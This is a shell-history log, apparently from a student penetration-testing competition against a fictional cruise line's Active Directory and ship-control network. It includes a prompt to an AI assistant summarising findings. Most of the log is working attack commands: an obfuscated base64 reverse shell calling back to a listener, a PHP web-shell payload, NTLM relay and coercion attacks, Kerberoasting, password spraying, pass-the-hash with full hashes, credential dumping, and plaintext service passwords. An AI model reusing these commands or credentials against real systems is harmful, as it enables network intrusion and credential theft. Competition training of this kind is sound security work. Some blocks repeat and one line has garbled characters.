    a. Public Swagger UI at http://10.0.1.13:8081/ exposing complete API documentation \
\
    b. Unauthenticated GET endpoints exposing real-time ship navigation data \
\
  - Exposed Data: \
\
    - Current GPS coordinates: 24.17524751, -81.89893886 \
\
    - Speed: 25 knots \
\
    - Heading: 237.23° \
\
    - Route: Nassau ⃦\x83\xB2 Cozumel \
\
    - ETA: 2026-01-10 13:09:18 \
\
    - Distance remaining: 399.44 nautical miles "


_raw:
: 1767994615:0;cat scans/network_scan.xml | claude "I am testing 10.0.1.13 MySQL security, how do I do that? here is some context ou're conducting a penetration test on 10.0.1.10 for All Ports Tours (cruise company) and I've been helping you discover and document vulnerabilities on ports 6768 (Climate Control), 9000 (Ballast Control), and 22 (SSH). We found 3 HIGH/MEDIUM severity findings: (1) unauthenticated access to Climate Control on port 6768, (2) exposed but authenticated Ballast Control on port 9000, and (3) SSH user enumeration vulnerability (CVE-2018-15473) that revealed 31 valid usernames including OSINT-confirmed staff (Bailey Finn/bfinn, Emily Carter/ecarter, David Carter/dcarter, Rose Davis/rdavis). All findings are documented in /home/pentester/findings_report.md with full details including CVSS scores, business/technical impacts, reproduction steps, and mitigation strategies, plus we created logs/ directory with test results (ssh_detailed_scan.txt, ssh_user_enum.txt, ssh_credential_test.txt). We safely tested vulnerabilities without using risky tools like Hydra to avoid locking accounts or disrupting the production ship system with 3,000 passengers onboard. \
\
 \
\
Session Summary: Penetration Testing on All Ports Tours Network \
\
  \
\
  Hosts Tested This Session: \
\
  \
\
  1. 10.0.1.10 (continued from previous session) \
\
  \
\
  Port 9091/TCP - Ballast Control Telemetry \
\
  - Status: ADDED TO REPORT as Finding #4 \
\
  - Severity: HIGH (CVSS 7.5) \
\
  - Issue: Unauthenticated Prometheus metrics endpoint exposing real-time ballast control telemetry \
\
  - Exposed Data: \
\
    - Ship stability (GM: 1.9m) \
\
    - List/pitch angles (currently 0°) \
\
    - All 4 pump health statuses \
\
    - Tank levels (all tanks at 5000 liters) \
\
    - Go application internals via /debug/vars \
\
  \
\
  2. 10.0.1.1 \
\
  \
\
  Port 53/TCP - DNS Service \
\
  - Status: TESTED - NO VULNERABILITIES FOUND \
\
  - Result: Properly secured with TCP wrappers, access control functioning correctly \
\
  \
\
  3. 10.0.1.13 (Multi-service server - extensive testing) \
\
  \
\
  Port 8180/TCP - Keycloak IAM \
\
  - Status: ADDED TO REPORT as Finding #5 \
\
  - Severity: CRITICAL (CVSS 9.8) \
\
  - Issue: Default credentials (admin/admin) provide full administrative access \
\
  - Impact: Attacker can disable all authentication flows: \
\
    - Browser Flow: Remove cookie/OTP/Kerberos requirements \
\
    - Client Authentication: Disable JWT signature validation \
\
    - Direct Grant: Remove password requirements \
\
    - Registration Flow: Disable password policies \
\
    - Reset Credentials: Bypass security checks \
\
  \
\
  Port 8080/TCP - Bridge Navigation API (PHP 5.6.40) \
\
  - Status: DRAFTED as Finding #6 (PHP EOL) - NOT YET ADDED TO REPORT \
\
  - Severity: HIGH (CVSS 8.6) \
\
  - Issue: PHP version 5.6.40 reached End-of-Life on December 31, 2018 \
\
  - Impact: 2,566+ days without security updates, 150+ known unpatched CVEs \
\
  \
\
  Ports 8080/8081 - API & Swagger Documentation \
\
  - Status: DRAFTED as Finding #7 - NOT YET ADDED TO REPORT \
\
  - Severity: HIGH (CVSS 7.5) \
\
  - Issues: \
\
    a. Public Swagger UI at http://10.0.1.13:8081/ exposing complete API documentation \
\
    b. Unauthenticated GET endpoints exposing real-time ship navigation data \
\
  - Exposed Data: \
\
    - Current GPS coordinates: 24.17524751, -81.89893886 \
\
    - Speed: 25 knots \
\
    - Heading: 237.23° \
\
    - Route: Nassau ⃦\x83\xB2 Cozumel \
\


_raw: : 1767994565:0;nxc smb 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1767994558:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=PetitPotam L=10.0.254.202


_raw: : 1767994542:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=DFSCoerce L=10.0.254.202


_raw: : 1767994535:0;hello41514|echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDUgMD4mMQo|base64 -d|sh -i


_raw: : 1767994532:0;crackmapexec smb 10.0.1.21 -u administrator -H a4fa38e8e61d094ab455cecda06105d3


_raw: : 1767994529:0;hello41514|echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDUgMD4mMQo|base64 -d|sh 0>&1


_raw: : 1767994522:0;hello41514|echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDUgMD4mMQo|base64 -d|sh >&


_raw: : 1767994522:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=ShadowCoerce L=10.0.254.202


_raw: : 1767994517:0;hello41514|echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDUgMD4mMQo|base64 -d|sh


_raw: : 1767994515:0;sudo nmap -sS -p 139,445 --script smb-protocols,smb-security-mode,smb-os-discovery 10.0.1.21


_raw: : 1767994508:0;crackmapexec smb 10.0.1.21 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --loggedon-users


_raw: : 1767994484:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus


_raw: : 1767994478:0;sudo responder2 -I eth0 -v


_raw: : 1767994474:0;./kerbrute -t 1 -v -d 'APT' -o valid_credentials_4.txt --dc 10.0.1.6 passwordspray single_username_list.txt gyroscope


_raw: : 1767994467:0;sudo responder -I eth0 -v -A


_raw: : 1767994467:0;python3 penelope/penelope.py -p 4445


_raw: : 1767994465:0;impacket-secretsdump ./administrator@10.0.1.21 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3\


_raw: : 1767994456:0;impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw: : 1767994454:0;./kerbrute passwordspray --help


_raw: : 1767994444:0;sudo responder -I eth0 -v -A


_raw: : 1767994422:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767994411:0;impacket-GetUserSPNs allports.local/svc_stabilize:1gyroscope -request-user svc_stabilize


_raw:
: 1767994362:0;# Users often use their username as password\
nxc smb 10.0.1.6 -u users.txt -p users.txt -k --no-bruteforce --continue-on-success -o out.txt


_raw: : 1767994357:0;python3 dnstool.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -r attacker --action query 10.0.1.6


_raw: : 1767994350:0;./kerbrute -t 1 -v -d 'APT' -o valid_credentials_3.txt --dc 10.0.1.6 passwordspray new_big_APT_valid_username_list.txt gyroscope


_raw:
: 1767994349:0;# Users often use their username as password\
nxc smb 10.0.1.6 -u users.txt -p users.txt --no-bruteforce --continue-on-success


_raw: : 1767994349:0;python3 dnstool.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -r attacker -d 10.0.254.201 --action add 10.0.1.6


_raw: : 1767994331:0;python3 dnstool.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --action query --forest --legacy 10.0.1.6 > full_dns_backup.txt


_raw: : 1767994326:0;impacket-GetNPUsers 'allports.local/' -dc-ip 10.0.1.6 -usersfile all-ad-users -format hashcat -outputfile asrep.txt


_raw: : 1767994325:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202


_raw: : 1767994322:0;sudo responder2 -I eth0 -v


_raw:
: 1767994313:0;# Users often use their username as password\
nxc smb 10.0.1.6 -u users.txt -p users.txt --no-bruteforce --continue-on-success | grep +


_raw: : 1767994311:0;python3 dnstool.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --forest --legacy -r attacker --action query 10.0.1.6 > dns_backup.txt


_raw: : 1767994304:0;impacket-GetNPUsers 'allports.local/' -dc-ip 10.0.1.6 -usersfile domain_users.txt -format hashcat -outputfile all-ad-users


_raw: : 1767994303:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202


_raw:
: 1767994300:0;# Users often use their username as password\
nxc smb 10.0.1.6 -u users.txt -p users.txt --no-bruteforce --continue-on-success


_raw: : 1767994294:0;impacket-GetNPUsers 'allports.local/' -dc-ip 10.0.1.6 -usersfile domain_users.txt -format hashcat -outputfile asrep.txt


_raw: : 1767994263:0;impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw:
: 1767994261:0;# Users often use their username as password\
nxc smb 10.0.1.6 -u domain_admins.txt -p domain_admins.txt --no-bruteforce --continue-on-success


_raw:
: 1767994249:0;nxc smb 10.0.1.6 -u domain_admins.txt -p '1gyroscope' --continue-on-success\
nxc smb 10.0.1.6 -u domain_admins.txt -p '1compass' --continue-on-success\
nxc smb 10.0.1.6 -u domain_admins.txt -p '1anchor' --continue-on-success


_raw: : 1767994238:0;impacket-GetUserSPNs 'allports.local/DECKHAND-01$' -hashes aad3b435b51404eeaad3b435b51404ee:46e0e9259513229c37a8d7ed0e4c4d79 -dc-ip 10.0.1.6 -request -outputfile kerberoast.txt


_raw: : 1767994228:0;cp usernames.txt users.txt


_raw: : 1767994221:0;mv users.txt usernames.txt


_raw: : 1767994202:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access


_raw: : 1767994191:0;skipfish -o temp https://chat.allports.tours


_raw: : 1767994181:0;./kerbrute passwordspray --help


_raw:
: 1767994174:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'AllPorts2026!' --continue-on-success\
nxc smb 10.0.1.6 -u domain_admins.txt -p 'Anchor2026!' --continue-on-success\
nxc smb 10.0.1.6 -u domain_admins.txt -p 'Captain1!' --continue-on-success


_raw: : 1767994169:0;skipfish -o temp chat.allports.tours


_raw: : 1767994165:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767994164:0;sudo responder -I eth0 -v


_raw: : 1767994159:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'Deckhand1!' --continue-on-success


_raw: : 1767994141:0;sudo responder -I eth0 -v


_raw: : 1767994133:0;impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw: : 1767994094:0;skipfish https://chat.allports.tours -o temp


_raw: : 1767994067:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767994067:0;net rpc group members "Domain Admins" -U 'allports.local/svc_stabilize%1gyroscope' -S 10.0.1.6


_raw: : 1767994056:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M group-mem -o GROUP="Domain Admins"


_raw:
: 1767994053:0;source .venv/bin/activate && set -a && source .env && set +a\
./test_artemis.sh\


_raw: : 1767994052:0;skipfish https://chat.allports.tours -o temp


_raw: : 1767994040:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local usernames-to-try.txt > valid-users.txt


_raw: : 1767994037:0;skipfish https://chat.allports.tours -o temp


_raw: : 1767994020:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt > valid-users.txt


_raw: : 1767994011:0;impacket-ntlmrelayx -t 10.0.1.20 -smb2support --enum-local-admins


_raw: : 1767994007:0;htpasswd -nbm captain captain


_raw: : 1767994005:0;nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root,ssh.user=admin,ssh.user=ubuntu" 10.0.1.14


_raw: : 1767993985:0;cloud-init clean --machine-id -l -s


_raw: : 1767993985:0;apt install qemu-guest-agent


_raw: : 1767993985:0;apt install python3-pip python3-venv curl htop


_raw: : 1767993985:0;apt install openssh-server


_raw: : 1767993985:0;sudo apt install dphys-swapfile


_raw: : 1767993985:0;apt install systemd-zram-generator zram-tools


_raw: : 1767993960:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767993949:0;openssl passwd -apr1 captain


_raw: : 1767993905:0;echo -n 'asasdasdasdasd' | sha1sum


_raw: : 1767993898:0;echo -n 'asasdasdasdasd' > sha1sum


_raw: : 1767993898:0;impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw: : 1767993898:0;mv xato-net-10-million-usernames.txt usernames-to-try.txt


_raw: : 1767993896:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/xato-net-10-million-usernames-dup.txt > output.txt


_raw: : 1767993878:0;python3 penelope/penelope.py -p 4445


_raw: : 1767993877:0;echo "PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==" | base64 -d


_raw: : 1767993873:0;./kerbrute passwordspray --dc 10.0.1.6 -d allports.local SecLists/Usernames/xato-net-10-million-usernames-dup.txt > output.txt


_raw: : 1767993861:1580;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt -k --continue-on-success -o log.out


_raw: : 1767993837:0;sudo responder -I eth0 -v


_raw: : 1767993824:0;impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"


_raw: : 1767993809:0;ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt


_raw: : 1767993801:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767993798:0;cp /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt .


_raw: : 1767993797:172;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw: : 1767993791:0;ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt


_raw: : 1767993765:0;enum4linux-ng -u svc_stabilize -p 1gyroscope 10.0.1.6 -P


_raw: : 1767993758:0;nxc smb DECKHAND-02.allports.local -u 'DECKHAND-02$' -k -d allports.local


_raw: : 1767993754:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(objectClass=domain)" lockoutThreshold lockoutDuration pwdHistoryLength minPwdLength maxPwdAge minPwdAge -LLL


_raw: : 1767993752:0;nxc smb DECKHAND-01.allports.local -u 'DECKHAND-02$' -k -d allports.local


_raw: : 1767993749:0;nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=admin" 10.0.1.14


_raw: : 1767993746:0;nxc smb DECKHAND-01.allports.local -u 'DECKHAND-02$' -p 'password' -k -d allports.local


_raw: : 1767993734:0;nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767993730:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --pass-pol


_raw: : 1767993695:0;impacket-psexec -k -no-pass allports.local/REDACTED_EMAIL -target-ip 10.0.1.20


_raw: : 1767993689:0;psexec.py -k -no-pass allports.local/REDACTED_EMAIL -target-ip 10.0.1.20


_raw: : 1767993672:0;nxc smb deckhand-02.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767993671:0;ntlmrelayx.py -t smb://deckhand-01.allports.local -smb2support -i


_raw: : 1767993619:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw: : 1767993616:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt


_raw: : 1767993565:0;impacket-ntlmrelayx -tf targets.txt -smb2support -socks -wh attacker-relay


_raw: : 1767993540:0;cat rockyou.txt| grep -i gyro


_raw: : 1767993520:0;cat rockyou.txt| grep -i gyroscope


_raw: : 1767993507:0;hashcat -m 1600 ~/hash xato-net-10-million-passwords-1000000.txt


_raw: : 1767993504:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1767993501:0;cat rockyou.txt| grep gyroscope47


_raw: : 1767993488:0;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt -k --continue-on-success | grep +


_raw: : 1767993476:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt


_raw: : 1767993466:0;rm -f /home/pentester/.nxc/workspaces/default/rdp.db


_raw: : 1767993458:0;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt -k --continue-on-success | grep +


_raw: : 1767993434:0;nxc smb 10.0.1.6 -u users.txt -p updatepass.txt -k --continue-on-success | grep +


_raw: : 1767993428:0;git clone https://github.com/ScribblerCoder/Jellypwn.git


_raw: : 1767993424:0;dirb https://admin.rooms.allports.tours/api -N 429


_raw: : 1767993422:0;./adaptixserver -profile profile.json


_raw: : 1767993393:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 users.txt


_raw: : 1767993366:0;./kerbrute_linux_amd64 userenum -h


_raw: : 1767993352:0;dirb https://admin.rooms.allports.tours/ -N 429


_raw:
: 1767993337:0;source .venv/bin/activate && set -a && source .env && set +a\
./test_artemis.sh\


_raw: : 1767993333:0;dirb https://admin.rooms.allports.tours/ -w


_raw:
ip ad
fping 10.0.1.0/24 > targets.txt
fping -aqg 10.0.1.0/24 > targets.txt
cat targets.txt
msfconsole
clear
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'a' -p 'a' --shares
nxc smb 10.0.1.0/24 -u 'a' -p 'a' --shares


_raw: : 1767993318:0;termshot -scf out.png -- "nxc smb apt-dc-01.allports.local -u '' -p '' --rid-brute"


_raw: : 1767993299:0;sudo nano /etc/proxychains4.conf


_raw: : 1767993276:0;nxc smb apt-dc-01.allports.local -u '' -p '' --rid-brute


_raw: : 1767993252:0;termshot -scf out.png -- 'nxc smb apt-dc-01.allports.local -u '' -p '' --rid-brute'


_raw: : 1767993235:0;termshot -scf out.png -- 'nxc smb apt-dc-01.allports.local'


_raw: : 1767993178:0;termshot -scf out.png -- 'nxc smb windows_hosts'


_raw: : 1767993170:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767993170:0;termshot -scf -- 'nxc smb windows_hosts'


_raw: : 1767993162:0;impacket-GetUserSPNs allports.local/administrator -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 -dc-ip 10.0.1.6 -request


_raw: : 1767993120:0;impacket-secretsdump administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3


_raw: : 1767993092:0;sudo nano /etc/proxychains4.conf


_raw: : 1767993068:2;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw:
: 1767992982:0;curl -X 'POST' \\
  'http://gps.allports.tours:8080/api/save_route.php' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "route_name": "<h1>hello<h1>",\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    }\
  ],\
  "total_distance": 167.2,\
  "estimated_time": 8.4,\
  "weather_data": {},\
  "notes": "string",\
  "created_by": "Captain"\
}'


_raw: : 1767992980:0;xfreerdp /v:10.0.1.21 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /restricted-admin


_raw: : 1767992958:0;impacket-ntlmrelayx -tf targets.txt -smb2support -socks -wh attacker-relay


_raw: : 1767992928:0;sudo apt install code-oss


_raw: : 1767992847:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 -c 'whoami /all' -debug


_raw: : 1767992828:0;sudo responder -I eth0 -w -v


_raw: : 1767992826:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767992817:0;zip MyJellyfinPlugin.zip MyJellyfinPlugin.dll


_raw: : 1767992817:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767992816:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1767992809:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767992809:0;sudo apt install claude-code


_raw: : 1767992809:0;tar -xf boat\ navigation\ app.tar


_raw: : 1767992809:0;strings boat\ navigation\ app.tar | grep history


_raw: : 1767992809:0;7z x boat\ navigation\ app.tar.gz


_raw: : 1767992809:0;tar -xf boat\ navigation\ app.tar.gz


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success -o test1.log


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;cat usernames.txt |grep SVC


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' > usernames.txt


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC'


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' -k --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2024' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '@nchor2024' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success --log a .log


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success


_raw: : 1767992809:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --kerberoast k.out


_raw: : 1767992809:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -k  --kerberoast k.out


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u users.txt -p '' --continue-on-success


_raw: : 1767992809:0;cat users.txt | grep stab


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k --shares


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k --users


_raw: : 1767992809:0;cat instructions.txt | wc -l


_raw: : 1767992809:0;cat instructions.txt| grep pass


_raw: : 1767992809:0;cat instructions.txt| less


_raw: : 1767992809:0;cat penny_leak.json| jq '.versions' | jq '.[].instructions' > instructions.txt


_raw: : 1767992809:0;cat penny_leak.json| jq '.versions' | jq '.[].instructions'


_raw: : 1767992809:0;cat penny_leak.json| jq '.versions' | jq


_raw: : 1767992809:0;cat penny_leak.json| jq '.versions'


_raw: : 1767992809:0;cat penny_leak.json| jq | less


_raw: : 1767992809:0;hashcat hash.txt rockyou.txt -m 0


_raw: : 1767992809:0;hashcat hash.txt rockyou.txt


_raw: : 1767992809:0;ffuf -u https://penny.allports.tours/ -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.allports.tours" -fw 629


_raw: : 1767992809:0;ffuf -u https://penny.allports.tours/ -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.allports.tours"


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o LISTENER=10.0.254.251 -o ALWAYS=true -o METHOD=PrinterBug


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o LISTENER=10.0.254.251 -o ALWAYS=true -o METHOD=All


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.251 -o ALWAYS=true


_raw: : 1767992809:0;nxc smb -M coerce_plus --options


_raw: : 1767992809:0;nxc smb -M coerce_plus --help


_raw: : 1767992809:0;nxc smb -M coerce_plus -O


_raw: : 1767992809:0;cp '/home/pentester/.penelope/sessions/826d76ce727f~10.0.1.10-Linux-x86_64/downloads/app/bin1' .


_raw: : 1767992809:0;nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth --output 0.log


_raw: : 1767992809:0;nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth -o out.log


_raw: : 1767992809:0;nxc smb 10.0.1.20-21 -u users.txt -p Sails@way! --local-auth -o out.log


_raw: : 1767992809:0;mv University-of-California-Irvine finals5


_raw: : 1767992809:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw: : 1767992809:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git finals 5


_raw: : 1767992809:0;tmux source-file /home/pentester/.tmux.conf


_raw: : 1767992809:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767992809:0;sudo apt install claude-code


_raw: : 1767992809:0;tar -xf boat\ navigation\ app.tar


_raw: : 1767992809:0;strings boat\ navigation\ app.tar | grep history


_raw: : 1767992809:0;7z x boat\ navigation\ app.tar.gz


_raw: : 1767992809:0;tar -xf boat\ navigation\ app.tar.gz


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success -o test1.log


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;cat usernames.txt |grep SVC


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' > usernames.txt


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS|DD' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC|CS' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC' | less


_raw: : 1767992809:0;cat users.txt| grep -Ev 'BB|AA|CC'


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' -k --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.21 -u users.txt -p '@nchor2024' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '@nchor2024' --continue-on-success


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success --log a .log


_raw: : 1767992809:0;nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success


_raw: : 1767992809:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --kerberoast k.out


_raw: : 1767992809:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -k  --kerberoast k.out


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1767992809:0;nxc smb 10.0.1.6 -u users.txt -p '' --continue-on-success


_raw: : 1767992802:0;impacket-GetUserSPNs APT/svc -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1767992800:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767992799:0;(cd Downloads && python3 -m http.server 8080)


_raw: : 1767992799:0;sudo responder -I eth0 -wf -v


_raw: : 1767992795:0;(cd Downloads && python3 -m http.server .)


_raw: : 1767992772:0;ffmpeg -ss 65 -i ~/Downloads/Inject-01/test.mp3 ~/Downloads/Inject-01/test2.mp3


_raw: : 1767992758:0;impacket-GetUserSPNs APT/svc_stability -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw:
ipconfig
ifconfig
ls
dc usernames
ls
dc Downloads
ls
clear
ls
cd Downloads
ls
cat usernmes-all-web-chat.allports.tours | awk '{print $1}'
cat usernmes-all-web-chat.allports.tours | awk '{print $2}'
cat usernmes-all-web-chat.allports.tours | awk '{print $2}' > chatnames.txt
ls
cd
ls
nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --shares
nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --shares -M spider_plus
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.6.json
nxc smb allports.local -u 'SVC_STABILIZE' -p '1gyroscope'
nxc smb 10.0.1.0/24 -u 'SVC_STABILIZE' -p '1gyroscope'
nxc smb 10.0.1.0/24 -u 'SVC_STABILIZE' -p '1gyroscope'  --shares
aliasr
ntlmrelayx.py -t ldap://10.0.1.6 -smb2support --no-dump --no-da --no-acl --add-computer 'BEANS$'
impacket-ntlmrelayx -t ldap://10.0.1.6 -smb2support --no-dump --no-da --no-acl --add-computer 'BEANS$'
